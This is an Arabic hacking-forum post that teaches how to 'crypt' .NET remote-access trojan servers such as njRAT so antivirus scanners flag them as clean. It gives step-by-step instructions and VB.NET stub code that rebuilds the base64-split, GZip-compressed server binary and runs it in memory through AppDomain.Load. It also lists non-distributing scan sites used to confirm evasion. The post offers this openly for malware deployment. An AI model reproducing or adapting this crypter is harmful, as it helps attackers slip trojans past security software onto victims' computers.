منتديات الامن والحماية
أهلا وسهلا بك زائرنا الكريم في منتديات الامن والحماية ، إذا كانت هذه زيارتك الأولى للمنتدى، يشرفنا أن تقوم بالتسجيل للمشاركة في المنتدى او ظهور الروابط، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.


منتديات الامن والحماية تعليم الحماية كشف تلغيم حل مشاكل الويندوز تسريع الويندوز برامج حماية برامج مجانية كراك اقوى البرامج تعليم نظام لينكس تحميل نظام لينكس احتراف نظام لينكس اخر اخبار الاكترونيات
 
الرئيسيةالتسجيلدخول

شاطر | 
 

 تشفير سيرفرات ال .net كلين برمجي فقط

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
gix
عضو جديد
عضو جديد


عدد المساهمات : 1
تاريخ التسجيل : 03/09/2015

مُساهمةموضوع: تشفير سيرفرات ال .net كلين برمجي فقط    السبت سبتمبر 12, 2015 10:15 pm

السلام عليكم و رحمة الله و بركاته
اليوم سوف أقدم لكم طريقة تشفير سيرفرات ال .net مثل سيرفر ال أن جي رات كلين ان شاء الله


الادوات المستعملة:

Crazy Split-conventer to base64

2) visual studio.

أولا, اعملو السيرفرز

-فتح برنامج Crazy Split-conventer to base64.
-اعمل browse لسيرفرك.
-تحت parts اكتب الرقم 2.
-اختر GZip.
-اضغط على convent.




3 ملفات ستشكل, سنستعملها لاحقا.

-افتح visual studio واعمل vb windows forms application.
-أضف 2 texbox الى الفورم.
-الان ضع محتوى الملف المسمى part0 في ال textbox1 و محتوى الملف المسمى part1 في textbox2 (الملفات التي شكلها البرنامج)



-اضف module الى مشروعك.
-احدف كل شي و حط هدا الكود:

الكود:
Imports System.IO.Compression
Imports System.IO
Module Module1
    Sub main()
        Dim gilbert As String = Form1.TextBox1.Text + Form1.TextBox2.Text
        Dim sassine As Byte() = DecompressGZip(Convert.FromBase64String(gilbert))
        AppDomain.CurrentDomain.Load(sassine).EntryPoint.Invoke(Nothing, Nothing)
    End Sub

    Public Function DecompressGZip(bytesToDecompress As Byte()) As Byte()
        Using stream = New GZipStream(New MemoryStream(bytesToDecompress), CompressionMode.Decompress)
            Const size As Integer = 4096
            Dim buffer = New Byte(size - 1) {}
            Using memoryStream = New MemoryStream()
                Dim count As Integer
                Do
                    count = stream.Read(buffer, 0, size)
                    If count > 0 Then
                        memoryStream.Write(buffer, 0, count)
                    End If
                Loop While count > 0
                Return memoryStream.ToArray()
            End Using
        End Using
    End Function

End Module

مودولك سوف يكون شكله هكدا:



-فوت على properties.
-اضغط على applications
-غير ال startup object الى sub main.



اخيرا اعمل build للمشروع.

مكان وجود السيرفر المشفر هو في ملفات مشروعك bin --> debug --> .exe



مواقع للفحص:

22h.net
refud.me
nodistribute.com

الرجاء التقييم  Smile  Cool  afro
نتائج الفحص:http://www.refud.me/results.php?id=qujryggm9eeaym1znltdm1gkvbmokus9nto
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
تشفير سيرفرات ال .net كلين برمجي فقط
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات الامن والحماية  :: حماية الاجهزه :: حماية الأجهزة-
انتقل الى: